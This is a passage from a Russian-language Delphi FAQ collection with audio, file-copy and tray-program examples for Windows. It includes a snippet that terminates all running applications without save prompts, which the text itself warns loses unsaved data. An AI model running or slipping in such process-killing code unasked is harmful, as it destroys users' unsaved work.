If (pWaveBuffer[i] = Nil) Then
begin
{ Здесь возможна утечка памяти }
RecErrorMessage := 'Ошибка блокирования памяти wave-буфера';
AllocPCMBuffers := False;
Exit;
end;
pWaveHeader[i].lpData := pWaveBuffer[i];
End;


AllocPCMBuffers := TRUE;
END;

{--------------FreePCMBuffers----------------John Mertus---14-Июнь--97--}


Procedure TWaveRecorder.FreePCMBuffers;

{ Освобождаем использованную AllocPCMBuffers память. }



--------------------------------------------------------------------------------


Var

i : Integer;

BEGIN

For i := 0 to fTotalBuffers-1 Do
begin
If (hWaveBuffer[i] <> 0) Then
Begin
GlobalUnlock( hWaveBuffer[i] );
GlobalFree( hWaveBuffer[i] );
hWaveBuffer[i] := 0;
pWaveBuffer[i] := Nil;
End;
end;
END;

{--------------FreeWaveFormatEx--------------John Mertus---14-Июнь--97--}


Procedure TWaveRecorder.FreeWaveFormatEx;

{ Просто освобождаем заголовки ExFormat headers }



--------------------------------------------------------------------------------


BEGIN

If (pWaveFmtEx = Nil) Then Exit;
GlobalUnlock(hWaveFmtEx);
GlobalFree(hWaveFmtEx);
pWaveFmtEx := Nil;
END;

{-------------TWaveRecorder.Create------------John Mertus-----Авг--97--}


Constructor TWaveRecorder.Create(BFSize, TotalBuffers : Integer);

{ Устанавливаем wave-заголовки, инициализируем указатели данных и }
{ и распределяем буферы дискретизации }
{ BFSize - размер буфера в байтах }



--------------------------------------------------------------------------------


Var

i : Integer;
BEGIN

Inherited Create;
For i := 0 to fTotalBuffers-1 Do
Begin
hWaveHeader[i] := 0;
hWaveBuffer[i] := 0;
pWaveBuffer[i] := Nil;
pWaveFmtEx := Nil;
End;
fBufferSize := BFSize;


fTotalBuffers := TotalBuffers;
{ распределяем память для структуры wave-формата }
If(Not AllocWaveFormatEx) Then
Begin
InitWaveRecorder := FALSE;
Exit;
End;


{ ищем устройство, совместимое с доступными wave-характеристиками }
If (waveInGetNumDevs < 1 ) Then
Begin
RecErrorMessage := 'Не найдено устройств, способных записывать звук';
InitWaveRecorder := FALSE;
Exit;
End;


{ распределяем память wave-заголовка }
If (Not AllocWaveHeaders) Then
Begin
InitWaveRecorder := FALSE;
Exit;
End;


{ распределяем память буфера wave-данных }
If (Not AllocPCMBuffers) Then
Begin
InitWaveRecorder := FALSE;
Exit;
End;


InitWaveRecorder := TRUE;

END;

{---------------------Destroy----------------John Mertus---14-Июнь--97--}


Destructor TWaveRecorder.Destroy;

{ Просто освобождаем всю память, распределенную InitWaveRecorder. }



--------------------------------------------------------------------------------



BEGIN

FreeWaveFormatEx;
FreePCMBuffers;
FreeWaveHeader;
Inherited Destroy;
END;

{------------CloseWaveDeviceRecord-----------John Mertus---14-Июнь--97--}


Procedure TWaveRecorder.CloseWaveDeviceRecord;

{ Просто освобождаем (закрываем) waveform-устройство. }



--------------------------------------------------------------------------------


Var

i : Integer;

BEGIN

{ если устройство уже закрыто, то выходим }
If (Not bDeviceOpen) Then Exit;


{ работа с заголовками - unprepare }
For i := 0 to fTotalBuffers-1 Do
If (waveInUnprepareHeader(WaveIn, pWaveHeader[i], sizeof(TWAVEHDR)) <> 0 )
Then

RecErrorMessage := 'Ошибка в waveInUnprepareHeader';


{ сохраняем общий объем записи и обновляем показ }
dwTotalwavesize := dwBytedatasize;


{ закрываем входное wave-устройство }
If (waveInClose(WaveIn) <> 0) Then
RecErrorMessage := 'Ошибка закрытия входного устройства';


{ сообщаем вызвавшей функции, что устройство закрыто }
bDeviceOpen := FALSE;

END;

{------------------StopRecord-----------------John Mertus---14-Июнь--97--}


Procedure TWaveRecorder.StopRecord;

{ Останавливаем запись и устанавливаем некоторые флаги. }



--------------------------------------------------------------------------------


Var

iErr : Integer;

BEGIN


RecordActive := False;
iErr := waveInReset(WaveIn);
{ прекращаем запись и возвращаем стоящие в очереди буферы }
If (iErr <> 0) Then
Begin
RecErrorMessage := 'Ошибка в waveInReset';
End;


CloseWaveDeviceRecord;
END;

{--------------AddNextBuffer------------------John Mertus---14-Июнь--97--}


Function TWaveRecorder.AddNextBuffer : Boolean;

{ Добавляем буфер ко входной очереди и переключаем буферный индекс. }




--------------------------------------------------------------------------------


Var

iErr : Integer;

BEGIN

{ ставим буфер в очередь для получения очередной порции данных }
iErr := waveInAddBuffer(WaveIn, pwaveheader[bufindex], sizeof(TWAVEHDR));
If (iErr <> 0) Then
begin
StopRecord;
RecErrorMessage := 'Ошибка добавления буфера' + TWaveInGetErrorText(iErr);
AddNextBuffer := FALSE;
Exit;
end;


{ переключаемся на следующий буфер }
bufindex := (bufindex+1) mod fTotalBuffers;
QueuedBuffers := QueuedBuffers + 1;


AddNextBuffer := TRUE;
END;


{--------------BufferDoneCallBack------------John Mertus---14-Июнь--97--}


Procedure BufferDoneCallBack(
hW : HWAVE; // дескриптор waveform-устройства
uMsg : DWORD; // посылаемое сообщение
dwInstance : DWORD; // экземпляр данных
dwParam1 : DWORD; // определяемый приложением параметр
dwParam2 : DWORD; // определяемый приложением параметр
); stdcall;

{ Вызывается при наличии у wave-устройства какой-либо информации, }
{ например при заполнении буфера }




--------------------------------------------------------------------------------


Var

BaseRecorder : PWaveRecorder;
BEGIN

BaseRecorder := Pointer(DwInstance);
With BaseRecorder^ Do
Begin
ProcessBuffer(uMsg, pWaveBuffer[ProcessedBuffers Mod fTotalBuffers],
WaveBufSize);

If (RecordActive) Then
Case uMsg of
WIM_DATA:
Begin
BaseRecorder.AddNextBuffer;
ProcessedBuffers := ProcessedBuffers+1;
End;
End;
End;
END;

{------------------StartRecord---------------John Mertus---14-Июнь--97--}


Function TWaveRecorder.StartRecord : Boolean;

{ Начало записи. }
{ }
{***********************************************************************}
Var

iErr, i : Integer;

BEGIN

{ начало записи в первый буфер }
iErr := WaveInStart(WaveIn);
If (iErr <> 0) Then
begin
CloseWaveDeviceRecord;
RecErrorMessage := 'Ошибка начала записи wave: ' +
TWaveInGetErrorText(iErr);

end;


RecordActive := TRUE;


{ ставим в очередь следующие буферы }
For i := 1 to fTotalBuffers-1 Do
If (Not AddNextBuffer) Then
Begin
StartRecord := FALSE;
Exit;
End;


StartRecord := True;
END;

{-----------------SetupRecord---------------John Mertus---14-Июнь--97--}
Function TWaveRecorder.SetupRecord(P : PWaveRecorder) : Boolean;

{ Данная функция делает всю работу по созданию waveform-"записывателя". }



--------------------------------------------------------------------------------


Var

iErr, i : Integer;

BEGIN

dwTotalwavesize := 0;
dwBytedatasize := 0;
bufindex := 0;
ProcessedBuffers := 0;
QueuedBuffers := 0;


{ открываем устройство для записи }
iErr := waveInOpen(@WaveIn, WAVE_MAPPER, pWaveFmtEx,
Integer(@BufferDoneCallBack),

Integer(P), CALLBACK_FUNCTION + WAVE_ALLOWSYNC );
If (iErr <> 0) Then
Begin
RecErrorMessage := 'Не могу открыть входное устройство для записи: ' + ^M
+

TWaveInGetErrorText(iErr);
SetupRecord := FALSE;
Exit;
End;

{ сообщаем CloseWaveDeviceRecord(), что устройство открыто }
bDeviceOpen := TRUE;


{ подготавливаем заголовки }


InitWaveHeaders();


For i := 0 to fTotalBuffers-1 Do
Begin
iErr := waveInPrepareHeader( WaveIn, pWaveHeader[I], sizeof(TWAVEHDR));
If (iErr <> 0) Then
begin
CloseWaveDeviceRecord;
RecErrorMessage := 'Ошибка подготовки заголовка для записи: ' + ^M +
TWaveInGetErrorText(iErr);
SetupRecord := FALSE;
Exit;
end;
End;
{ добавляем первый буфер }
If (Not AddNextBuffer) Then
begin
SetupRecord := FALSE;
Exit;
end;


SetupRecord := TRUE;
END;

{-----------------ProcessBuffer---------------John Mertus---14-Июнь--97--}


Procedure TWaveRecorder.ProcessBuffer(uMsg: Word; P : Pointer; n :
Integer);

{ Болванка процедуры, вызываемой при готовности буфера. }



--------------------------------------------------------------------------------

BEGIN
END;

END.
К заголовку




Как определить, установлена звуковая карта или нет?
Через MultiMedia API йункцией WaveOutGetNumDevs().

uses MMSystem;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if WaveOutGetNumDevs > 0 then ShowMessage('Sound Card is installed')
  else ShowMessage('Sound Card is not installed')
end;
К заголовку




Как проиграть Wave-ресурс?
=== 1 ===
Сначала делаешь файл SOUND.RC, в нем строка вида: MY_WAV RCDATA TEST.WAV
Компилишь чем-нибyдь в *.RES

Далее в тексте:
{$R полное_имя_файла_с_ресурсом}

var WaveHandle  : THandle;
       WavePointer : pointer;
...
  WaveHandle  := FindResource(hInstance,'MY_WAV',RT_RCDATA);
   if WaveHandle<>0 then begin
     WaveHandle:= LoadResource(hInstance,WaveHandle);
      if WaveHandle<>0 then begin;
         WavePointer := LockResource(WaveHandle);
          PlayResourceWave := sndPlaySound(WavePointer,snd_Memory OR
SND_ASYNC);
          UnlockResource(WaveHandle);
          FreeResource(WaveHandle);
      end;
  end;

=== 2 ===
  PlaySound('SOUNDNAME',hInstance,SND_RESOURCE or SND_ASYNC);
К заголовку




Как проигрываеть MPEG файл в Delphi-программе?
Как проигрываеть MPEG файл в Delphi-программе?

Ответ:

Если в системе Windows MMSystem установлен декодер MPEG - используя компонент
TMediaPlayer

Пример:

procedure TForm1.Button1Click(Sender: TObject);
begin
        MediaPlayer1.Filename := 'C:\DownLoad\rsgrow.mpg';
        MediaPlayer1.Open;
        MediaPlayer1.Display := Panel1;
        MediaPlayer1.DisplayRect := Panel1.ClientRect;
        MediaPlayer1.Play;
end;
К заголовку




Как сменить диск, который MediaPlayer использует для проигрывания музыкального CD?
MediaPlayer1.FileName := 'E:';
К заголовку




Как умертвить PC Speaker?
Это выключит спикеp:
SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE);

Это включит:
SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE);
К заголовку




Проиграть звук без Медиа?
uses mmSystem;

  sndPlaySound(PChar(ExtractFilePath(Application.ExeName) + 'Alienshp.wav'), SND_ASYNC);

procedure TMainForm.OnClose(Sender: TObject);
begin
  sndPlaySound(nil, 0);
end;
К заголовку




Использования DirectSound на Delphi
рабочий пример использования DirectSound на Delphi + несколько полезных процедур. В этом примере создается
один первичный SoundBuffer и 2 статических, вторичных; в них загружаются 2 WAV файла. Первичный буфер
создается процедурой AppCreateWritePrimaryBuffer, а любой вторичный - AppCreateWritePrimaryBuffer. Так как
вторичный буфер связан с WAV файлом, то при создании буфера нужно определить его параметры в соответствии
со звуковым файлом, эти характеристики (Samples, Bits, IsStereo) задаются в виде параметров процедуры. Time -
время WAV'файла в секундах (округление в сторону увеличения).
unit Unit1;
interface
uses

Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
DirectSound          : IDirectSound;
DirectSoundBuffer    : IDirectSoundBuffer;
SecondarySoundBuffer : array[0..1] of IDirectSoundBuffer;
procedure AppCreateWritePrimaryBuffer;
procedure AppCreateWriteSecondaryBuffer(var Buffer: IDirectSoundBuffer;
SamplesPerSec: Integer;
Bits: Word;
isStereo:Boolean;
Time: Integer);
procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
OffSet: DWord; var SoundData;
SoundBytes: DWord);

procedure CopyWAVToBuffer(Name: PChar; var Buffer: IDirectSoundBuffer);
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
Raise Exception.Create('Failed to create IDirectSound object');
AppCreateWritePrimaryBuffer;
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[0],22050,8,False,10);
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[1],22050,16,True,1);
end;

procedure TForm1.FormDestroy(Sender: TObject);
var i: ShortInt;
begin
if Assigned(DirectSoundBuffer) then DirectSoundBuffer.Release;
for i:=0 to 1 do
if Assigned(SecondarySoundBuffer[i]) then SecondarySoundBuffer[i].Release;
if Assigned(DirectSound) then DirectSound.Release;
end;

procedure TForm1.AppWriteDataToBuffer;
var
AudioPtr1,AudioPtr2     : Pointer;
AudioBytes1,AudioBytes2 : DWord;
h : HResult;
Temp : Pointer;
begin
H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0);
if H = DSERR_BUFFERLOST  then
begin
Buffer.Restore;
if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0) <> DS_OK then
Raise Exception.Create('Unable to Lock Sound Buffer');
end else
if H <> DS_OK then Raise Exception.Create('Unable to Lock Sound Buffer');
Temp:=@SoundData;
Move(Temp^, AudioPtr1^, AudioBytes1);
if AudioPtr2 <> nil then
begin
Temp:=@SoundData; Inc(Integer(Temp), AudioBytes1);
Move(Temp^, AudioPtr2^, AudioBytes2);
end;
if Buffer.UnLock(AudioPtr1, AudioBytes1,AudioPtr2, AudioBytes2) <> DS_OK
then Raise Exception.Create('Unable to UnLock Sound Buffer');
end;
procedure TForm1.AppCreateWritePrimaryBuffer;
var BufferDesc  : DSBUFFERDESC;
Caps        : DSBCaps;
PCM         : TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
PCM.nChannels:=2;
PCM.nSamplesPerSec:=22050;
PCM.nBlockAlign:=4;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=16;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_PRIMARYBUFFER;
dwBufferBytes:=0;
lpwfxFormat:=nil;
end;
if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK
then Raise Exception.Create('Unable to set Coopeative Level');
if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK
then Raise Exception.Create('Create Sound Buffer failed');
if DirectSoundBuffer.SetFormat(PCM) <> DS_OK
then Raise Exception.Create('Unable to Set Format ');
if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK
then Raise Exception.Create('Unable to set Coopeative Level');
end;
procedure TForm1.AppCreateWriteSecondaryBuffer;
var BufferDesc  : DSBUFFERDESC;
Caps        : DSBCaps;
PCM         : TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
if isStereo then PCM.nChannels:=2 else PCM.nChannels:=1;
PCM.nSamplesPerSec:=SamplesPerSec;
PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=Bits;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_STATIC;
dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
lpwfxFormat:=@PCM;
end;
if DirectSound.CreateSoundBuffer(BufferDesc,Buffer,nil) <> DS_OK
then Raise Exception.Create('Create Sound Buffer failed');
end;
procedure TForm1.CopyWAVToBuffer;
var Data  : PChar;
FName    : TFileStream;
DataSize : DWord;
Chunk    : String[4];
Pos      : Integer;
begin
FName:=TFileStream.Create(Name,fmOpenRead);
Pos:=24;
SetLength(Chunk,4);
repeat
FName.Seek(Pos, soFromBeginning);
FName.Read(Chunk[1],4);
Inc(Pos);
until Chunk = 'data';
FName.Seek(Pos+3, soFromBeginning);
FName.Read(DataSize, SizeOf(DWord));
GetMem(Data,DataSize);
FName.Read(Data^, DataSize);
FName.Free;
AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
FreeMem(Data,DataSize);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin

CopyWAVToBuffer('1.wav',SecondarySoundBuffer[0]);
CopyWAVToBuffer('flip.wav',SecondarySoundBuffer[1]);
if SecondarySoundBuffer[0].Play(0,0,0) <> DS_OK
then ShowMessage('Can''t play the Sound');
if SecondarySoundBuffer[1].Play(0,0,0) <> DS_OK
then ShowMessage('Can''t play the Sound');
end;
end.

К заголовку




Функция CopyFile, которая работает быстро
В Win32 существует функция CopyFile, которая работает быстро, никаких проблем с ней не возникает, что же еще нужно? Если
копируется большой файл, то это занимает много времени. И все то время программа будет стоять на строчке с вызовом CopyFile.
Это означает, что не сможет даже перерисоваться окно. Конечно, копирование файла можно вынести в отдельный поток. Но даже в
этом случае не удастся определ Копирование файла
Для этой цели удобно использовать процедуры BlockRead и BlockWrite. Для указания пользователем, какой файл копировать и куда,
здесь используется OpenDialog и SaveDialog. Здесь было бы удобно использовать Gauge для отображения процента выполненной
работы. Но Gauge - плохо сделанный компонент (не оптимально). Так что здесь это же реализовано "вручную".
Самой сложной задачей является определение времени, которое потребуется на завершение копирования файла. Казалось бы:
определить затраченное время, разделить на процент сделанной работы - и вот готовое полное время копирования. Но кэширование
и многозадачность сильно портят картину. Наилучшее решение, которое мне пришло в голову, это искать скорость копирования не
на основе всего затраченного времени, а на основе последних секунд. Если даже какой-то другой процесс "притормозит"
копирование, реакция на это

var
  p, fs: integer;

procedure TForm1.Button1Click(Sender: TObject);
const
  BufSize = 524288;
  LeftS = 'Осталось ';
var
  S, D: File;
  buf: array [0..BufSize] of byte;
  r, w: integer;
  OldP, LastP, LastP1: integer;
  t0, t1: cardinal;
  LeftTime: boolean; { Нужно ли писать об оставшемся времени }
  LeftSec: integer;
begin
  if OpenDialog1.Execute = false then Exit;
  if SaveDialog1.Execute = false then Exit;
  Label1.Caption := 'Копирование: из "' + OpenDialog1.FileName +
    '" в "' + SaveDialog1.FileName + '"';
  AssignFile(S, OpenDialog1.FileName);
  Reset(S, 1);
  AssignFile(D, SaveDialog1.FileName);
  Rewrite(D, 1);
  fs := FileSize(S);
  p := 0; OldP := 0; LastP := 0; LastP1 := 0;
  t0 := GetTickCount; t1 := t0;
  LeftTime := false;
  repeat
    BlockRead(S, buf, BufSize, r);
    BlockWrite(D, buf, r, w);
    inc(p, w);
    if round(p / fs * 100) <> round(OldP / fs * 100) then begin
      Form1.Canvas.FillRect(Bounds(11 + round(OldP / fs * 100), 51, round((p - OldP) / fs * 100), 18));
      OldP := p;
      if not LeftTime then LeftTime := GetTickCount - t0 > 20;
      if LeftTime then begin
        if GetTickCount - t0 > 10000 then begin
          t0 := t1;
          LastP := LastP1;
          t1 := GetTickCount;
          LastP1 := p;
        end;
        LeftSec := round((GetTickCount - t0) /
          (p - LastP) * (fs - p) / 1000);
        case LeftSec of
          0..10: Label1.Caption := LeftS + IntToStr(LeftSec) + ' сек';
          11..25: Label1.Caption := LeftS +
            IntToStr(round(LeftSec / 5) * 5) + ' сек';
          26..54: Label1.Caption := LeftS +
            IntToStr(round(LeftSec / 10) * 10) + ' сек';
          55..180: Label1.Caption := LeftS +
            IntToStr(round(LeftSec / 60)) + ' мин ' +
            IntToStr(round(LeftSec / 20) * 20) + ' сек';
          else Label1.Caption := LeftS +
            IntToStr(round(LeftSec / 60)) + ' мин';
        end;
      end;
    end;
    Application.ProcessMessages;
  until (r < BufSize) or (w < r);
  Label1.Caption := 'Копирование закончилось';
  CloseFile(S);
  CloseFile(D);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  SaveDialog1.Options := SaveDialog1.Options +
    [ofOverwritePrompt,ofCreatePrompt];
  fs := 1;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
  with Form1.Canvas do begin
    Brush.Color := clWhite;
    Pen.Color := clGray;
    Rectangle(10, 50, 112, 70);
    Brush.Color := clNavy;
    FillRect(Bounds(11, 51, round(p / fs * 100), 18));
  end;
end;

К заголовку




Как мне завершить все работающие задачи?
Ниже приведен код, который поможет вам завершить ВСЕ задачи без всяких уведомлений о необходимости сохранения данных.

Поэтому, прежде чем запустить этот код, убедитесь в наличии сохраненных данных и в том, что пользователь осведомлен об этой
операции. :) (ну это смотря ЗАЧЕМ вам это... )

procedure TForm1.ButtonKillAllClick(Sender: TObject);
var

pTask   : PTaskEntry;
Task    : Bool;
ThisTask: THANDLE;
begin

GetMem (pTask, SizeOf (TTaskEntry));
pTask^.dwSize := SizeOf (TTaskEntry);


Task := TaskFirst (pTask);
while Task do
begin
if pTask^.hInst = hInstance then
ThisTask := pTask^.hTask
else
TerminateApp (pTask^.hTask, NO_UAE_BOX);
Task := TaskNext (pTask);
end;
TerminateApp (ThisTask, NO_UAE_BOX);
end;
К заголовку




Нестандартная процедура разбиения слов при переносах
создание нестандартную процедуру разбиения слов при переносах для TEdit, TMemo или TRichEdit?

В следующем примере создается процедура разбиения слов при переносах для TMemo. Заметьте, что реализованная процедура
просто всегда разрешает перенос. Для дополнительной информации см.таже документацию к сообщению
EM_SETWORDBREAKPROC.

     Var
       OriginalWordBreakProc : pointer;
       NewWordBreakProc : pointer;
     function MyWordBreakProc(LPTSTR  : pchar;
                  ichCurrent : integer;
                  cch : integer;
                  code  : integer) : integer
    {$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}

     begin
       result :=  0;
     end;

     procedure TForm1.FormCreate(Sender: TObject);
     begin
       OriginalWordBreakProc := Pointer(
     SendMessage(Memo1.Handle,
             EM_GETWORDBREAKPROC,
             0,
             0));
      {$IFDEF WIN32}
       NewWordBreakProc := @MyWordBreakProc;
      {$ELSE}
    NewWordBreakProc := MakeProcInstance(@MyWordBreakProc,
                         hInstance);
      {$ENDIF}
       SendMessage(Memo1.Handle,
           EM_SETWORDBREAKPROC,
           0,
           longint(NewWordBreakProc));
     end;

     procedure TForm1.FormDestroy(Sender: TObject);
     begin
       SendMessage(Memo1.Handle,
           EM_SETWORDBREAKPROC,
           0,
           longint(@OriginalWordBreakProc));
      {$IFNDEF WIN32}
    FreeProcInstance(NewWordBreakProc);
      {$ENDIF}
     end;
К заголовку




Пример резидентной программы
Речь сегодня опять пойдет о резидентных программах. В этот раз в программу будут добавлены новые функции, а именно: записная
книжка, "усыпление" компьютера, вызов диалога "Завершение работы Windows".
Для тех, кто не читал предыдущего выпуска: чтобы создать программу без модулей (а это здесь нужно) можно в меню File | New...
выбрать Console Application.

Начиная с этого выпуска, я буду выкладывать на сайт program.dax.ru
http://program.dax.ru/
все файлы проекта, необходимые для компиляции.
 Скачав их (в архиве они будут занимать 3-5 Кбайт),
 Вам не придется думать, что делать с этим текстом и какие компоненты с какими событиями создавать.

Записная книжка - это окно с многострочным полем ввода,
 которое легко вызывается и которое сохраняет текст, вводимый пользователем.
 То есть, при открытии текст считывается из файла, а при закрытии сохраняется в файл.
 Поскольку поле ввода - окно, его можно создать без каких-либо родительских окон.
 В VCL аналогом этого было бы создание Memo вне формы.
 Чтобы объяснить Windows, что это поле ввода,
 в качестве имени класса окна нужно указать 'EDIT'. ES_MULTILINE делает его многострочным.
 Когда записная книжка закрывается, текст из нее нужно сохранить.
 Но сообщения WM_CLOSE, WM_DESTROY и другие попадают не ко мне,
 а в стандартную оконную процедуру поля ввода.
 Поэтому стандартную процедуру поля ввода нужно заменить на свою.
 А чтобы сохранить функциональность поля ввода,
 все сообщения кроме WM_DESTROY пересылаются в старую оконную процедуру.

В прошлом выпуске программа отслеживала координаты курсора и,
 если мышь была в левом верхнем углу экрана, запускала ScreenSaver.
 Чтобы при следующей проверке координат курсора не запускать ScreenSaver повторно,
 программа проверяла, какое окно сейчас активно.
 Дело в том, что стандартные хранители экрана в некоторых версиях Windows
 всегда создают окна с названием класса 'WindowsScreenSaverClass'.
 Но, поскольку работает это не всюду, я решил убрать эту функцию.

program Project1;
uses
  Windows,
  ShellAPI,
  Messages;

const
  ClassName = 'MyResident'; // Имя класса
  WM_NOTIFYTRAYICON = WM_USER + 1; { Это сообщение будет
                      генерироваться при событиях с tray }
var
  menu: hMenu; // Всплывающее меню
  mywnd: hWnd; // Окно программы
  memo: hWnd = 0; // Окно записной книжки
  OldMemoProc: Pointer; // Стандартная оконная процедура Edit

// Оконная процедура записной книжки:
function MemoWndProc(wnd: hWnd; msg, wParam,
  lParam: longint): longint; stdcall;
var
  s: PChar;
  len: integer;
  F: File;
begin
  case msg of
    WM_DESTROY: begin // Окно закрывается
      // Сохранение текста:
      len := GetWindowTextLength(memo);
      GetMem(s, len + 1);
      GetWindowText(memo, s, len + 1);
      AssignFile(F, 'memo.txt');
      Rewrite(F, 1);
      BlockWrite(F, s^, len);
      CloseFile(F);
      FreeMem(s);
      result := 0;
      memo := 0;
    end;
    WM_KEYUP: begin // Нажата клавиша
      if wparam = VK_ESCAPE // Нажат Escape
        then result := SendMessage(memo, WM_CLOSE, 0, 0)
        else result := DefWindowProc(wnd, msg, wparam, lparam);
    end;
    // Иначе - вызвать старую оконную процедуру
    else result := CallWindowProc(OldMemoProc, wnd, msg, wparam, lparam);
  end;
end;

// Создание окна записной книжки:
procedure CreateMemo;
var
  len: cardinal;
  F: hFile;
  s: PChar;
  ReadBytes: cardinal;
begin
  // Если записная книжка уже открыта - выход из процедуры:
  if GetForegroundWindow = memo then Exit;
  // Создание окна:
  memo := CreateWindowEx(WS_EX_PALETTEWINDOW, 'EDIT', nil,
    WS_POPUP or WS_SIZEBOX or WS_VSCROLL or
    ES_MULTILINE or ES_AUTOVSCROLL,
    GetSystemMetrics(SM_CXFULLSCREEN) div 2 - 200,
    GetSystemMetrics(SM_CYFULLSCREEN) div 2 - 200,
    400, 400, 0, 0, hinstance, nil);
  // Установка шрифта:
  SendMessage(memo, WM_SETFONT, GetStockObject(SYSTEM_FIXED_FONT), 0);
  // Сохранение старой и установка новой оконной процедуры:
  OldMemoProc := Pointer(GetWindowLong(memo, GWL_WNDPROC));
  SetWindowLong(memo, GWL_WNDPROC, longint(@MemoWndProc));
  { Открытие файла (здесь удобнее воспользоваться функциями WinAPI): }
  try
    F := CreateFile('memo.txt', GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if F = INVALID_HANDLE_VALUE then Exit;
    len := GetFileSize(F, nil);
    if len = $FFFFFFFF then Exit;
    GetMem(s, len + 1);
    ReadFile(F, s^, len, ReadBytes, nil);
    SetWindowText(memo, s);
    CloseHandle(F);
    FreeMem(s);
  except SetWindowText(memo, 'Error') end;
  // Показать окно:
  ShowWindow(memo, SW_SHOW);
  UpdateWindow(memo);
end;

// Главная оконная процедура:
function MyWndProc(wnd: hWnd; msg, wParam,
  lParam: longint): longint; stdcall;
var
  p: TPoint;
  tray: TNotifyIconData;
  ProgmanWnd: hWnd;
begin
  case msg of
    WM_NOTIFYTRAYICON: begin // Событие tray
      // Если нажата правая кнопка, показать меню:
      if lparam = WM_RBUTTONUP then begin
        SetForegroundWindow(mywnd);
        GetCursorPos(p);
        TrackPopupMenu(menu, TPM_LEFTALIGN, p.x, p.x, 0, wnd, nil);
      end;
      result := 0;
    end;
    WM_COMMAND: begin // Выбран пункт меню
      { В зависимости от выбранного пункта меню открывается
      записная книжка, запускается ScreenSaver, "усыпляется"
      компьютер или закрывается программа: }
      case loword(wparam) of
        0: CreateMemo;
        1: SendMessage(mywnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
        2: SetSystemPowerState(true, true);
        4: SendMessage(mywnd, WM_CLOSE, 0, 0);
      end;
      result := 0;
    end;
    WM_HOTKEY: begin // Нажата горячая клавиша
      case loword(lparam) of
        // Нажата клавиша Pause:
        0: SendMessage(wnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
        // Нажаты клавиши Alt+Pause:
        MOD_ALT: begin
          ProgmanWnd := FindWindow('Progman', 'Program Manager');
          if ProgmanWnd <> 0
            then SendMessage(ProgmanWnd, WM_CLOSE, 0, 0);
        end;
        // Нажаты клавиши Alt+Shift+Pause:
        MOD_ALT or MOD_SHIFT: SetSystemPowerState(true, true);
        // Иначе:
        else CreateMemo;
      end;
      result := 0;
    end;
    WM_ACTIVATEAPP: begin // Изменение активности приложения
      { Если приложение потеряло активность - закрыть (если нужно)
      записную книжку: }
      if (memo <> 0) and (wparam = 0)
        then SendMessage(memo, WM_CLOSE, 0, 0);
      result := 0;
    end;
    WM_DESTROY: begin // Закрытие программы
      // Удаление tray:
      with tray do begin
        cbSize := sizeof(TNotifyIconData);
        wnd := mywnd;
        uID := 0;
      end;
      Shell_NotifyIcon(NIM_DELETE, @tray);
      PostQuitMessage(0);
      result := 0;
    end;
    else result := DefWindowProc(wnd, msg, WParam, LParam);
  end;
end;

// Создание окна:
function CreateMyWnd: hWnd;
var
  wc: WndClass;
begin
  // Регистрация класса:
  wc.style := CS_HREDRAW or CS_VREDRAW;
  wc.lpfnWndProc := @MyWndProc;
  wc.cbClsExtra := 0;
  wc.cbWndExtra := 0;
  wc.hInstance := hInstance;
  wc.hIcon := LoadIcon(hinstance, IDI_ASTERISK);
  wc.hCursor := LoadCursor(hinstance, IDC_ARROW);
  wc.hbrBackground := COLOR_INACTIVECAPTION;
  wc.lpszMenuName := nil;
  wc.lpszClassName := ClassName;
  if RegisterClass(wc) = 0 then halt(0);
  // Создание окна:
  result := CreateWindowEx(WS_EX_APPWINDOW, ClassName,
    'My Window', WS_POPUP, 100, 100, 200, 200, 0, 0, hInstance, nil);
  if result = 0 then halt(0);
end;

// Создание Tray:
procedure CreateTray;
var
  tray: TNotifyIconData;
begin
  with tray do begin
    cbSize := sizeof(TNotifyIconData);
    wnd := mywnd;
    uID := 0;
